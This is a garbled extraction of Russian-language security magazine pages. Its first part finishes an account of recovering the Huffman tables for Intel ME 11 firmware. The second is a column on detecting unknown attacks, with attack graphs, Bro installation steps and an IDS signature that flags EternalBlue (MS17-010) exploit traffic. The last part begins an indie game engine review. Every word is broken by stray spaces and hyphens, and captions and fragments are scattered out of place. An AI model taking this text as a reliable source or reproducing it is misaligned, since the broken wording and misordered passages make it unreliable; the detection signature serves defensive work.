щению  0xFA40)  сос тоит  из  бай та  0xB2  ==  0b10110010,  за  которым
идет 273 бай та  со  зна чени ем 0xEC == 0b11101100, и даль ше —  толь ко нули.
Так  как  битовая  пос ледова тель ность  11101100  (или  01110110)  пов торя‐ 
ется 273 раза, мож но пред положить, что она кодиру ет 4096/273 == 15 оди‐ 
нако вых  байт  (ско рее  все го,  со  зна чени ями  0x00  или  0xFF).  Тог да  битовая
пос ледова тель ность  10110010  (или  1011001)  кодиру ет  4096‐273*15  ==
1 байт.

Это  хорошо  сог ласу ется  с  пред положе нием  о  том,  что  каж дая  кодовая
пос ледова тель ность  кодиру ет  целое  количес тво  бай тов  (от  1  до  15  вклю‐ 
читель но). Одна ко пол ностью вос ста новить  таб лицы Хаф фма на  таким обра‐ 
зом невоз можно.

НАХОЖДЕНИЕ ПАР «СЖАТЫЙ ТЕКСТ — ОТКРЫТЫЙ ТЕКСТ»
Как  было  ,  в  раз ных  вер сиях  про шивок  для  ME  11  модули
с оди нако выми наз вани ями могут упа ковы вать ся раз ными алго рит мами. Если
разоб рать Module Attributes Extension для одно имен ных модулей, упа кован ных
как  LZMA,  так  и  Хаф фма ном,  и  извлечь  зна чения  SHA‐256  для  каж дого
модуля,  то  не  обна ружит ся  ни  одной  пары  модулей,  упа кован ных  раз ными
алго рит мами и име ющих оди нако вые зна чения хешей.

по каза но  ранее

Но если вспом нить, что для модулей, упа кован ных LZMA, SHA‐256 обыч но
счи тает ся  от  сжа тых  дан ных,  и  пос читать  SHA‐256  для  модулей  пос ле  рас‐ 
паков ки LZMA, то обна ружит ся дос таточ но мно го под ходящих пар. И для каж‐ 
дого  такого  «пар ного»  модуля  мы  сра зу  получим  нес коль ко  пар  стра ниц —
в упа кован ном Хаф фма ном и рас пакован ном виде.

SHAPE, LENGTH, VALUE
На личие  боль шого  набора  стра ниц  в  сжа том  и  откры том  виде  (раз дель но
для кода и дан ных) поз воля ет вос ста новить все кодовые пос ледова тель нос‐ 
ти,  исполь зуемые  в  этих  стра ницах.  Решение  задачи  находит ся  на  сты ке
методов линей ной алгебры и поис ковой опти миза ции. Навер ное, мож но пос‐ 
тро ить стро гую матема тичес кую модель,  учи тыва ющую все огра ниче ния, но,
так как задача разовая, быс трее ока залось часть работы выпол нить вруч ную,
а часть авто мати зиро вать.

Са мое важ ное — хотя бы при мер но опре делить Shape  (точ ки изме нения
длин  кодовых  пос ледова тель нос тей).  Нап ример,  что  7‐битовые  пос ледова‐ 
тель нос ти  име ют  зна чения  от  1111111  до  1110111,  8‐битовые  —
от 11101101 до 10100011 и  так далее. Так  как исполь зует ся Canonical Huff‐
man Coding, зна ние Shape поз воля ет опре делить дли ну сле дующей кодовой
пос ледова тель нос ти  (самая  корот кая  пос ледова тель ность  сос тоит  толь ко
из  еди ниц,  самая  длин ная —  толь ко  из  нулей,  и  чем мень ше  зна чение,  тем
длин нее пос ледова тель ность).

Так  как  мы  не  зна ем  точ ный  раз мер  сжа тых  дан ных,  мож но  выкинуть
из «хвос та» все пос ледова тель нос ти, сос тоящие толь ко из нулевых битов (так
как они самые длин ные и появ ление самой ред кой кодовой пос ледова тель‐ 
нос ти в пос ледней позиции малове роят но).

Ког да  каж дая  сжа тая  стра ница  может  быть  пред став лена  в  виде  набора
кодовых  пос ледова тель нос тей,  мож но  прис тупать  к  опре деле нию  длин
кодиру емых ими зна чений. Сум ма длин закоди рован ных зна чений для каж дой
стра ницы  дол жна  сос тавлять  4096  байт.  Это  поз воля ет  сос тавить  сис тему
линей ных  урав нений,  где  неиз вес тны ми  будут  дли ны  закоди рован ных  зна‐ 
чений, коэф фици ента ми — количес тво вхож дений соот ветс тву ющей кодовой
пос ледова тель нос ти в сжа тую стра ницу, а на мес те сво бод ного чле на всег да
сто ит  4096.  Стра ницы  кода  и  дан ных  мож но  обра баты вать  сов мес тно,  так
как  для  оди нако вых  кодовых  пос ледова тель нос тей  дли ны  закоди рован ных
зна чений дол жны сов пасть.

При наличии дос таточ ного  количес тва  стра ниц  (и  урав нений)  единс твен‐ 
ное  решение  сис темы  лег ко  находит ся  методом  Гаус са.  А  имея  откры тый
текст,  зная  дли ну  каж дого  зна чения  и  порядок  их  сле дова ния,  нес ложно
получить соот ветс твие кодовых пос ледова тель нос тей и кодиру емых ими зна‐ 
чений.

НЕИЗВЕСТНЫЕ ПОСЛЕДОВАТЕЛЬНОСТИ
Пос ле обра бот ки всех дос тупных «пар ных» стра ниц получит ся выяс нить зна‐ 
чения  при мер но  для  70%  пос ледова тель нос тей  из  кодовой  таб лицы  и  68%
пос ледова тель нос тей  из  таб лицы  дан ных.  Дли ны  будут  извес тны  при мер но
для  92%  пос ледова тель нос тей.  И  оста нет ся  неоп ределен ность  в  Shape:
в некото рых мес тах может исполь зовать ся или одно зна чение мень шей дли‐ 
ны,  или  два  зна чения  боль шей  дли ны,  и  опре делить  гра ницу  невоз можно,
пока одно из зна чений не встре тит ся в упа кован ных дан ных.

Те перь  мож но  прис тупать  к  вос ста нов лению  зна чений  для  кодовых  пос‐ 
ледова тель нос тей, встре чающих ся толь ко в модулях, для которых нет откры‐ 
тых тек стов.

Ес ли  встре чает ся  пос ледова тель ность  с  неиз вес тной  дли ной,  в  сис тему
урав нений добав ляет ся еще одна стро ка, и это поз воля ет быс тро опре делить
дли ну. Но как опре делить зна чение, не имея откры того тек ста?

ВЕРИФИКАТОР И BRUTE-FORCE
К  счастью,  в  метадан ных  хра нит ся  SHA‐256  от  рас пакован ного  модуля.
И  если  мы  пра виль но  уга даем  зна чение  всех  неиз вес тных  кодовых  пос‐ 
ледова тель нос тей  во  всех  стра ницах,  сос тавля ющих  модуль,  вычис ленное
зна чение SHA‐256 дол жно сов пасть со зна чени ем SHA‐256 из Module Attrib‐
utes Extension.

Ког да  сум марная  дли на  неиз вес тных  пос ледова тель нос тей  сос тавля ет
один  или  два  бай та,  неиз вес тные  бай ты  эле мен тарно  находят ся  лобовым
перебо ром. Так же мож но пос тупать с тре мя и даже четырь мя неиз вес тны ми
бай тами  (осо бен но  если  они  рас положе ны  близ ко  к  кон цу  модуля),
но перебор может занять от нес коль ких часов до нес коль ких дней на одном
ядре (лег ко рас парал лелить на нес коль ко ядер или машин). Попыт ки перебо‐ 
ра пяти и более бай тов не пред при нима лись.

Та ким обра зом уда ется вос ста новить еще нес коль ко кодовых пос ледова‐ 
тель нос тей  (и  нес коль ко  модулей).  Но  потом  оста ются  толь ко  модули,
в  которых  сум марный  объ ем  неиз вес тных  бай тов  пре выша ет  воз можнос ти
brute‐force‐под бора.

ЭВРИСТИКИ
Од нако наличие боль шого чис ла модулей, нез начитель но отли чающих ся друг
от  дру га,  поз воля ет  при менять  раз личные  эвристи ки  и  с  их  помощью
находить зна чения неиз вес тных кодовых пос ледова тель нос тей.

Ис поль зование вто рой таб лицы Хаф фма на
Так как в рас паков щике име ется две  таб лицы Хаф фма на,  ком прес сор пыта‐ 
ется  сжать  дан ные  каж дой  из  них  и  оставля ет  ту  вер сию,  которая  занима ет
мень ше  мес та.  Вследс твие  это го  деление  на  «код»  и  «дан ные»  ста новит ся
условным. И при изме нении час ти стра ницы более эффектив ной может ока‐ 
зать ся дру гая таб лица. То есть, пос мотрев в дру гие вер сии того же модуля,
мож но  най ти  иден тичные  фраг менты,  которые  были  упа кова ны  дру гой  таб‐ 
лицей, и так вос ста новить неиз вес тные бай ты.

Мно гок ратное исполь зование
Ког да одна кодовая пос ледова тель ность мно го раз встре чает ся в одном (или
раз ных) модулях  (нап ример, в коде и в дан ных), зачас тую лег ко опре делить,
какие огра ниче ния нак ладыва ются на неиз вес тные зна чения.

Кон стан ты и таб лицы со сме щени ями
В  области  дан ных  модулей  доволь но  час то  встре чают ся  кон стан ты  и  сме‐ 
щения  (нап ример,  до  тек сто вых  строк  или  фун кций).  Кон стан ты  могут  быть
общи ми и для раз ных модулей (нап ример, для фун кций хеширо вания и алго‐ 
рит мов  шиф рования),  а  сме щения  уни каль ны  для  каж дой  вер сии  модуля,
но дол жны ссы лать ся на одни и те же (или очень похожие) фраг менты дан ных
или кода. И их зна чения очень лег ко вос ста новить.

Стро ковые кон стан ты из откры тых биб лиотек
Не кото рые  фраг менты  кода  ME  явно  были  поза имс тво ваны  из  open  source
про ектов (нап ример, wpa_supplicant), и фраг менты тек сто вых строк лег ко уга‐ 
дать по кон тек сту и под гля дывая в исходни ки.

Код из откры тых биб лиотек
Заг лянув  в  исходни ки  и  най дя  текст  фун кции,  для  ском пилиро ван ного  кода
которой  неиз вес тно  нес коль ко  бай тов,  мож но  порабо тать  ком пилято ром
и уга дать, какие зна чения под ходят в этом мес те.

По хожие фун кции в модулях дру гой вер сии
Так как в раз ных (но близ ких) вер сиях одно го модуля не дол жно быть силь ных
отли чий,  иног да  дос таточ но  най ти  экви вален тную фун кцию  в модуле  дру гой
вер сии и по ее коду понять, что дол жно быть в неиз вес тных бай тах.

По хожие фун кции в пре дыду щих вер сиях ME
Ес ли код не взят из пуб личных источни ков, некото рый фраг мент неиз вестен
во  всех  дос тупных  вер сиях  модуля  и  не  встре чает ся  ни  в  одном  дру гом
модуле  (а  имен но  так  и  было  с модулем  amt),  мож но  най ти  такое же мес то
(нап ример,  в  ME  10),  выяс нить  логику  фун кции,  а  потом  спро еци ровать  ее
на неиз вес тное мес то в ME 11.x.

СХОДИМОСТЬ ПРОЦЕССА
На чиная  с модулей,  в  которых  было мень ше  все го  неиз вес тных  пос ледова‐ 
тель нос тей, и ком бинируя раз личные эвристи ки, уда валось шаг за шагом уве‐ 
личи вать извес тную часть таб лиц Хаф фма на (каж дый раз про веряя пра виль‐ 
ность  пред положе ний,  вычис ляя  SHA‐256).  С  рос том  пок рытия  модули,  где
изна чаль но чис ло неиз вес тных пос ледова тель нос тей изме рялось десят ками,
ока зыва лись  не  столь  пуга ющи ми.  Про цесс  выг лядел  схо дящим ся,  но  все
упер лось в amt.

Этот  модуль  самый  боль шой  по  раз меру  (поряд ка  2  мегабайт,  при мер‐ 
но 30% от обще го объ ема), содер жит мно жес тво кодовых пос ледова тель нос‐ 
тей,  которые  не  встре чают ся  ни  в  одном  дру гом  модуле,  но  встре чают ся
во всех вер сиях amt. Мож но с высокой веро ятностью уга дать нес коль ко пос‐ 
ледова тель нос тей,  но  единс твен ный  спо соб  про верить  пред положе ние  —
уга дать  их  все  (что бы  сов пало  SHA‐256).  Бла года ря  неоце нимой  помощи
Мак сима  Горяче го  нам  уда лось  пре одо леть  и  этот  барь ер,  и  мы  получи ли
воз можность рас паковы вать любой из модулей, содер жащий ся в име ющих ся
у нас про шив ках и упа кован ный алго рит мом Хаф фма на.

Со вре менем появ лялись новые про шив ки, и в них попада лись не встре‐ 
чен ные ранее кодовые сло ва. Но вся кий раз одна из эвристик сра баты вала,
модуль успешно рас паковы вал ся и уве личи валось пок рытие таб лиц.

ФИНАЛЬНЫЙ ШТРИХ
К  середи не  июня  2017  года мы  смог ли  вос ста новить  при мер но  89,4% пос‐ 
ледова тель нос тей  для  кодовой  таб лицы  и  86,4%  пос ледова тель нос тей
для  таб лицы  дан ных.  Но  шан сы  пос тро ить  за  разум ное  вре мя  100%‐е  пок‐ 
рытие таб лиц через ана лиз новых модулей весь ма сла бы.

19  июня  на  GitHub  поль зователь  с  ником  IllegalArgument  опуб ликовал
,  пок рыва ющих  80,8%  пос ледова тель нос тей

для  кодовой  таб лицы  и  78,1%  пос ледова тель нос тей  для  таб лицы  дан ных.
Веро ятно, автор (или авто ры) исполь зовал ана логич ный под ход, осно ван ный
на ана лизе име ющих ся про шивок. И в опуб ликован ных таб лицах не ока залось
ничего нового.

фраг менты  таб лиц  Хаф фма на

А 17 июля Марк Ермо лов и Мак сим Горячий получи ли воз можность узна‐ 
вать  рас пакован ные  зна чения  для  любых  сжа тых  дан ных.  Мы  под готови ли
четыре  сжа тые  стра ницы  (по  две  для  кода  и  для  дан ных)  и  вос ста нови ли

.все 1519 пос ледова тель нос тей для обе их таб лиц
При  этом  обна ружи лось  одно  непонят ное  мес то.  В  таб лице  Хаф фма на

для  дан ных  зна чение  00410E088502420D05  соот ветс тву ет  как  пос ледова‐ 
тель нос ти 10100111 (дли ной 8 бит), так и пос ледова тель нос ти 000100101001
(дли ной 12 бит). Это явная избы точ ность, но, ско рее все го, она обус ловле на
слу чай ной ошиб кой.

Ито говый Shape
По лучив ший ся в резуль тате Shape име ет сле дующий вид:

Бит

в сло ве

Мак сималь ное зна -

чение

Ми нималь ное зна -

чение

Все го

слов

7 1111111 1110111 9

8 11101101 10100011 75

9 101000101 010111101 137

10 0101111001 0011001011 175

11 00110010101 00011010111 191

12 000110101101 000011011101 209

13 0000110111001 0000011001001 241

14 00000110010001 00000001010000 322

15 000000010011111 000000000000000 160
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MALWARE

В    мы  дали  опре деле ние  клас су  атак,
которые  отли чают ся  осо бой  слож ностью  исполне ния
и  высокой  сте пенью руч ной  работы  со  сто роны  ата кующих.
Эту  колон ку  я  хочу  пос вятить,  ска жем  так,  количес твен ной
харак терис тике  атак,  которые  исполь зуют ся  для  оцен ки
эффектив ности тех нологий и средств защиты.

пре дыду щей  колон ке

ВСЕМ НЕНОРМАЛЬНЫМ ВЫЙТИ ИЗ СТРОЯ!
Для опи сания методов опре деле ния неиз вес тных атак авто ры мно гих науч ных
работ исполь зуют тер мин   и отно сят к нему все те воз дей ствия
на ресур сы сис темы, которые не явля ются для нее типовы ми.

«ано малии»

WWW

Unknown Threat Detection With Honeypot Ensemble
Analsyis Using Big Datasecurity Architecture

Ес ли  опре делить  (как  это  сде лали  авто ры  при веден ной  выше  статьи)  неиз‐ 
вес тные ата ки как набор дей ствий на сен сорах пред варитель но раз верну того
в  инфраструк туре  ханипо та,  то  впос ледс твии  дан ные  этих  сен соров  мож но
исполь зовать  для  вычис ления  приз наков  выяв ленной  ата ки  в  реаль ной
инфраструк туре с исполь зовани ем веро ятнос тной оцен ки.

Для  опи сания  модели  неиз вес тной  ата ки  сущес тву ет  мет рика,  поз воля‐ 
ющая  про вес ти  количес твен ную  оцен ку  неиз вес тных  атак  для  кон крет ной
инфраструк туры.  Дан ная  мет рика  вво дит ся  на  осно ве  опре деле ния  гра фа
атак.  Для  того  что бы  понять,  как  счи тать  количес тво  неиз вес тных  атак
для  опре делен ной  инфраструк туры,  мож но  взять  за  осно ву  упро щен ную
сетевую модель.

Схе ма компь ютер ной сети, которую мы будем исполь зовать для фор ‐
мализа ции понятия «неиз вес тной ата ки»

В  упро щен ной  модели  сети    пре дос тавля ет  сер вис  уда лен ного
управле ния по про токо лу SSH и сер вис обме на дан ными по про токо лу HTTP.

  пре дос тавля ет  толь ко  сер вис SSH.   —  это  кли ент  (user),  он
рас положен за фай рво лом отно ситель но  . Фай рвол раз реша ет
соеди нения к хос ту 1 и от хос та 1, а так же все исхо дящие соеди нения от хос‐ 
та  2.  Как  пред положи ли  авто ры  ,  глав ная  проб лема  безопас ности
дан ной  сети —  воз можность  получить  несан кци они рован ный  дос туп  с  при‐ 
виле гиями root к  . На осно ве дан ного пред положе ния для опи сан ной
сетевой модели пос тро ен граф атак (вер хняя часть рисун ка ниже).

хост  1

Хост 2 Хост 0

хос тов 1 и 2

мет рики

хос ту 2

Гра фы НКА при отклю чен ном меж сетевом экра не (ввер ху) и при вклю ‐
чен ном меж сетевом экра не (вни зу)

На дан ном рисун ке каж дая пара вида   обоз нача ет исходное усло‐ 
вие, а трой ка вида   — про цесс экс плу ата ции неиз вес тной уяз‐ 
вимос ти  Vssh  в  сер висе SSH.  Таким обра зом,  дан ный  граф демонс три рует,
что  к  несан кци они рован ному  дос тупу    ведут  три  трас сы  ата ки.
При этом ата кующе му тре бует ся минимум одна 0day‐уяз вимость для реали‐ 
зации трас сы ата ки, сос тоящей исклю читель но из вер шин Vssh (при усло вии,
что все SSH‐сер веры име ют одну и ту же вер сию).

<user, 0>
<Vssh, 0, 1>

<root,  2>

Про иллюс три ровать, что количес тво неиз вес тных атак зависит от наличия
тех  или  иных  сис тем  в  сети  (в  том  чис ле  и  сис тем  защиты),  мож но,  вве дя
в  дан ную  сетевую  модель  фай рвол  iptables,  задача  которо го  зак люча ется
в  раз решении  под клю чений  по  про токо лу  SSH  хос та  1  со  сто роны  стро го
опре делен ных  хос тов,  не  вклю чающих  хост  0.  И  теперь  пос мотрим  на  граф
атак для обновлен ной модели. Он  вклю чает  в  себя две новые  трас сы ата ки
вследс твие экс плу ата ции неиз вес тной уяз вимос ти в сер висе iptables.

На  осно ве  опре деле ния  0day‐уяз вимос ти  и  экс пло итов,  сущес тву ющих
для каж дого сер виса рас смот ренной модели, авто ры дают опре деле ние 

  —  это  ори енти рован ный  граф,  сос тоящий  как  из
извес тных,  так и из неиз вес тных экс пло итов, с вер шинами пред варитель ных
усло вий,  соеди нен ных  с  пос тусло виями  через  соот ветс тву ющие  этим  пос‐ 
тусло виям экс пло иты.

гра- 

фа  неиз вес тных  атак

При мер гра фа неиз вес тной ата ки

Опи сан ные модели иллюс три руют сле дующее клю чевое тре бова ние для сис‐ 
темы выяв ления атак: 

. Сис тема защиты может содер жать в сво их ком понен тах уяз‐ 
вимос ти, которые могут пре дос тавить ата кующе му дос туп к свя зан ным с ней
защища емым ресур сам, и это надо иметь в виду. Кро ме того, сис тема опре‐ 
деле ния  атак  может  выяв лять  их  на  любой  ста дии  жиз ненно го  цик ла  ата ки,
в  том  чис ле  на  зак лючитель ном  эта пе  (нап ример,  при  эксфиль тра ции  дан‐ 
ных).  Пой мать  ата ку  на  любой  час ти  ее  трас сы,  может  быть,  зву чит  прос то,
но на прак тике зло умыш ленни ки не толь ко успешно ока зыва ются внут ри кор‐ 
поратив ного  перимет ра,  обме нива ются  со  сво ими  коман дны ми  цен тра ми
информа цией,  но и  зак репля ются  там на доволь но про дол житель ное  вре мя
(иног да  ата кующий  может  оста вать ся  незаме чен ным  во  внут ренней  сети
годами).

ко личес тво трасс атак, соз дава емых ком понен- 

тами  сис темы  обна руже ния  в  защища емой  сети,  дол жно  быть

минималь ным

МЕТОДЫ ОБНАРУЖЕНИЯ АТАК
В  этом  году  на  кон ферен ции  Black  Hat  клю чевой  док ладчик,  дирек тор
по  безопас ности  Facebook  Алекс  Ста мос,  ска зал  важ ную  мысль:  индус трия
ИБ  в  нас тоящее  вре мя  стра дает  от  «под рос тко вых»  проб лем,  глав ная
из которых — «нигилизм» ИБ‐спе циалис тов. Сфо куси ровав шись на слож ных
и изощ ренных тех никах взло ма и экзо тичес ких иссле дова ниях, они перес тали
замечать все еще акту аль ные сце нарии атак, которые по‐преж нему при носят
финан совые потери орга низа циям. Зло умыш ленни ки будут добивать ся цели
самым  прос тым  для  них  спо собом.  «Пора  взрос леть»,  —  говорит  Ста мос.
А это озна чает, что пора не толь ко дер жать руку на пуль се иссле дова ний нас‐ 
тупатель ной сто роны, но и иссле довать новые тех нологии защиты от угроз.

Ме тоды  опре деле ния  атак  раз деля ются  на  два  боль ших  клас са  (клас‐ 
сифика ция  по  схе ме  при нятия  решений): 
(misuse  detection)  и    (anomaly  detection).  Пер вый
класс  методов  исполь зует  все воз можные  шаб лоны  (сиг натуры,  полити ки,
инди като ры  ком про мета ции  и  так  далее)  для  опре деле ния  вре донос ной
активнос ти.

вы явле ние  зло упот ребле ний

вы явле ние  ано малий

К  при меру,  извес тные  сетевые  IDS/IPS  вро де  «олд скуль ной» 
или шус трой   опи рают ся на огромную базу сиг натур раз личных атак.

Snort

Suricata

Мож но  дол го  спо рить  о  пре иму щес тве  методов  того  или  ино го  клас са,
но важ но понимать, что эти клас сы вза имо допол няемы. Выяв ление вре донос‐ 
ной  активнос ти  во  мно жес тве  ано малий  поз волит  соз дать  ее  сиг натуру
для пос леду юще го более опе ратив ного детек та этой угро зы.

Ме тоды выяв ления ано малий пред став ляют для нас инте рес, так как пок‐ 
рыва ют все мно жес тва допус тимых воз дей ствий на защища емую сис тему, что
поз воля ет и выяв лять неиз вес тные ранее ата ки. Для алго рит мов это го клас са
методов  сущес тву ет  замет ная  проб лема:  лож ные  сра баты вания  (false  posi‐
tives)  и  про пуск  инци ден тов  (false  negatives).  При мени тель но  ко  всем  кор‐ 
реляци онным методам воз можны как реали зации в режиме «обу чения с учи‐ 
телем», так и в режиме само обу чения (адап тивный режим).

ГДЕ ТУТ АНОМАЛИЯ, BRO?
Для  того  что бы  поз накомить ся  с  инс тру мен тами  выяв ления  ано малий,
рекомен дую пос тавить сетевой фрей мворк Bro, на осно ве которо го работа ет
не одна ком мерчес кая IDS.

Для  уста нов ки Bro  на  све жую  вер сию Ubuntu  дос таточ но  выпол нить  сле‐ 
дующие дей ствия от при виле гиро ван ного поль зовате ля:

apt‐get update && apt‐get upgrade
apt‐get install cmake make gcc g++ flex bison libpcap‐dev 
libgeoip‐dev libssl‐dev python‐dev zlib1g‐dev libmagic‐dev swig2.0
wget https://www.bro.org/downloads/bro‐2.5.1.tar.gz
cd bro‐2.5.1
./configure ‐‐prefix=/bro
make
make install
export PATH=/bro/bin:$PATH

Пе ред исполь зовани ем Bro необ ходимо скон фигури ровать:
1. Для  standalone‐кон фигура ции  в  фай ле    дос таточ но
ука зать интерфейс, на котором Bro будет слу шать (нап ример, eth0):

/bro/etc/node.cfg

[bro]
type=standalone
host=localhost
interface=eth0

2. В фай ле   ука зыва ем сеть или сети, которые нуж но
будет защищать:

/bro/etc/networks.cfg

192.168.13.0/24     Private IP space

3. В   нас тра ивают ся парамет ры работы с логами./bro/etc/broctl.cfg

За пус каем Bro:
1. sudo /bro/bin/broctl
2. [BroControl] > install
3. [BroControl] > start
4. Для оста нов ки: broctl stop
5. Для  переза пус ка  (пос ле  прав ки  скрип тов): 

.
[BroControl]  >  stop  && 

check && п.2 && п.3

6. Или же пос ле вне сения изме нений в скрип ты:  .[BroControl] > deploy

Прак тичес ки все методы выяв ления угроз так или ина че исполь зуют шаб лоны
для  выяв ления  приз наков  вре донос ной  активнос ти.  Сиг натура  может  быть
кон крет ной и, нап ример, учи тывать спе цифи ку кон крет ного экзем пля ра вре‐ 
донос ного  ПО  в  тра фике.  К  при меру,  пос ле  всплес ка  активнос ти WannaCry
экспер ты начали добав лять в свои IDS/IPS‐сис темы сиг натуры, учи тыва ющие
наличие  в  тра фике  опре делен ных  фла гов,  которые  появ ляют ся  во  вре мя
успешной экс плу ата ции уяз вимос ти в про токо ле SMB. При мер сиг натуры:

alert smb $HOME_NET any ‐> any any (msg:"ET EXPLOIT Possible ETERNA
LBLUE MS17‐010 Echo Response"; flow:from_server,established; content:
"|00 00 00 31 ff|SMB|2b 00 00 00 00 98 07 c0|"; depth:16; fast_p
attern; content:"|4a 6c 4a 6d 49 68 43 6c 42 73 72 00|"; distance:0; 
flowbits:isset,ETPRO.ETERNALBLUE; metadata: former_category EXPLOIT; 
classtype:trojan‐activity; sid:2024218; rev:1; metadata:attack
_target SMB_Server, deployment Internal, signature_severity Critical,
created_at 2017_04_17, updated_at 2017_04_17;)

Ра зуме ется, дан ная осо бен ность в тра фике харак терна для кон крет ного экс‐ 
пло ита. «Выводить» такие сиг натуры вряд ли получит ся до появ ления пер вых
атак,  а  зна чит,  вес ти  борь бу  с  неиз вес тны ми  ата ками  на  дан ном  уров не
детали зации  не  получит ся. Нуж ны дру гие шаб лоны,  которые поз волят  выяв‐ 
лять ата ки целыми клас сами.

Как мы уже отме тили выше, с ата кой мож но бороть ся на любом эта пе ее
жиз ненно го  цик ла.  Чем  более  поз дняя  ста дия  ата ки  будет  выяв лена  (нап‐ 
ример,  ком муника ция  бота  с  коман дным  цен тром),  тем  выше  риск  ком про‐ 
мета ции цен ных дан ных. Тем не менее шаб лоны ано малий поз воля ют выявить
необыч ные сце нарии поведе ния. К при меру, уве личе ние DNS‐тра фика может
стать сиг налом, что кто‐то про рубил DNS‐тон нель. А может и не стать, и тог да
ана литик получа ет «фал су». Но борь ба с «фал сами» — это уже дру гая исто‐ 
рия…

В сле дующем матери але мы рас смот рим методы выяв ления неиз вес тных
атак,  срав ним их по слож ности реали зации, по  количес тву лож ных сра баты‐ 
ваний,  а  так же  выберем  наибо лее  инте рес ные  для  наших  пос леду ющих
экспе римен тов. Не перек лючай ся.
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КОДИНГ

С каж дым днем игры ста новят ся все слож‐ 
нее и наворо чен нее. Еже год но в Steam они
пуб лику ются  тысяча ми.  Они  рас пре деля‐ 
ются по раз ным плат формам и катего риям.
Ауди тория игро ков рас тет. Чис ло раз работ‐ 
чиков  так  же  стре митель но  уве личи вает ся.
Быть  инди,  а  точ нее  соло‐раз работ чиком
ста ло тяжело. Но роман тика незави симос ти
зас тавля ет  сно ва  и  сно ва  начинать  раз‐ 
работ ку инди‐игры. В статье мы погово рим,
как  выжить  на  этом  пути  и  как  раз рабаты‐ 
вать  кле вые  игры  в  жес точай ших  усло виях
кон курен ции.

Хо тя появ ляют ся новые тех нологии для соз дания игр, с каж дым годом их раз‐ 
работ ка  ста новит ся  все  слож нее  и  слож нее.  Есть  трой ка  топовых  движ ков:
Unity, Unreal Engine 4, CryEngine 5. О них пос тоян но говорят, и их исполь зуют
для  раз работ ки  самых  раз ных  про ектов  самые  раз ные  раз работ чики.  Тем
не  менее  слож ность  этих  инс тру мен тов  перева лила  мыс лимый  рубеж.  Они
огромны, их фун кци ональ ность дос тигла все лен ских мас шта бов. Все эти воз‐ 
можнос ти  могут  быть  исполь зованы  боль шими  сту диями,  но  для  соло‐раз‐ 
работ чика это избы точ ный стафф, он ему не нужен, пос коль ку для его реали‐ 
зации  нуж ны  допол нитель ные  ресур сы,  которых  у  инди  и  так  нет  (для  раз‐ 
работ ки игры меч ты он свой дом заложил). И если это не AAA‐игра, то реали‐ 
зация этих фич бес полез на.

Прис тупая  к  соз данию  инди‐игры,  надо  рас счи тать  бюд жет  при мер но
на год впе ред и накопить дос таточ ную сум му для раз работ ки игры сво ей меч‐ 
ты. Начинать луч ше, еще работая на обыч ной офис ной работе. Выб рав тему
для игры, написать диз док. Необ ходимо даже соз давать про тоти пы, показы‐ 
вая GIF‐ани мации интернет‐сооб щес тву. И толь ко ког да оче ред ной про тотип
получит общес твен ное одоб рение, мож но начинать пол ноцен ную раз работ ку.

АЛЬТЕРНАТИВНЫЕ ДВИЖКИ
Я  понимаю,  что  в  нас тоящее  вре мя  сущес тву ют  инди‐игры  всех  жан ров
на любой вкус (и это на самом деле хорошо), но мы под инди‐игра ми в дан‐ 
ном  кон тек сте  под разуме ваем  малень кие,  дву мер ные,  ори енти рован ные
на  мобиль ные  устрой ства,  соз данные  соло‐раз работ чиком  тво рения
(которых  пре обла дающее  боль шинс тво),  поэто му  исполь зовать  Unity,
UE4  для  соз дания  про тоти пов  будет  неоп равдан но  слож но.  Сущес тву ет
широкий выбор аль тер натив ных движ ков, они про ще в исполь зовании и поз‐ 
воля ют  дос тигать  впе чат ляющих  резуль татов  за  мень ший  срок,  минус  спе‐ 
цэф фекты, которые инди бы все рав но не стал помещать в свою игру. Порой
для соз дания пол ноцен ной игры под все плат формы эти движ ки не  тре буют
написа ния кода. Осо бен но меня прод винуло на тему аль тер натив ных движ ков
пос ле  учас тия  в  мос ков ской  кон ферен ции  раз работ чиков  виде оигр 

,  про шед шей  в  октябре.  Я  под ходил  к  инди‐раз работ чикам,
демонс три рующим свои про екты, и расс пра шивал об исполь зуемом инс тру‐ 
мен тарии.  Во  мно гих  слу чаях  они  называ ли  вов се  не  Unity,  а 
или  .
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Construct  2
GameMaker Studio
Оба  про дук та  пред став ляют  собой  конс трук торы  дву мер ных  игр,  не  тре‐ 

бующие уме ния прог рамми ровать (!). В Construct 2 игру соз даешь, опре деляя
игро вые события и реак цию на них. Ито говые игры пор тиру ются под все рас‐ 
простра нен ные  плат формы.  Про га  идет  с  под робной  докумен таци ей,  боль‐ 
шим  количес твом  при меров  и  тей мплей тов,  так  что  осво ить  ее  нес ложно.
Покупать советую в Steam,  там ее сто имость  за пер сональ ную вер сию сос‐ 
тавля ет 6399 руб лей.

Construct 2 с откры тым про ектом

GameMaker Studio пред став ляет собой популяр ный конс трук тор игр с дву мя
воз можнос тями  пос тро ения  игры  (подоб но  UE4):  пер вая  —  методом  drag
and drop, вто рая — писать код на собс твен ном язы ке сис темы. В зависи мос‐ 
ти  от  целевой  плат формы  игры,  соз данные  с  помощью  GameMaker  Studio,
визу али зиру ются  с  помощью  OpenGL  или  DirectX  с  исполь зовани ем  соот‐ 
ветс тву ющих шей дер ных тех нологий. Для обра бот ки физики есть под дер жка
движ ка  Box2D.  Под держи вает ся  широкий  ряд  устрой ств  вво да.  Дес ктоп ная
вер сия  в  Steam  сто ит  1599  руб лей,  экспор теры  для  дру гих  плат форм  надо
докупать:  так,  экспор тер  для  web  сто ит  2579  руб лей,  для  UWP  —
6396 и столь ко же для мобиль ных сис тем.

GameMaker Studio

Тре тий  зас лужива ющий  вни мания  аль тер натив ный  дви жок  —  .
В  отли чие  от  двух  пре дыду щих,  раз рабаты вая  с  его  помощью  игры,  надо
писать код на скрип товом язы ке. Во мно гом бла года ря это му он меня заин‐ 
тересо вал боль ше осталь ных. Я пос вятил его обзо ру раз дел из пре дыду щей
статьи об  . Сто имость это го движ ка в Steam сос тавля‐ 
ет  2059  руб лей,  вклю чая  экспор теры  под  все  под держи ваемые  плат формы.
Хорошее  вло жение.  За  более  под робным  опи сани ем  архи тек турной  сос‐ 
тавля ющей движ ка отсы лаю тебя к упо мяну той статье.

AppGameKit

инс тру мен тах игро дела

Рань ше  я  над менно  смот рел  на  эти  тул зы,  но  теперь  вижу  в  них  силу,
которая  может  срав нить ся  с  топовы ми  движ ками.  Нас тало  вре мя  обра тить
на них вни мание и взять в ком плект игро дела.

Где взять арт и про чий стафф?
В  слу чае  если  ты  прог раммист  и  пло хова то  рису ешь/моделишь  самос‐ 
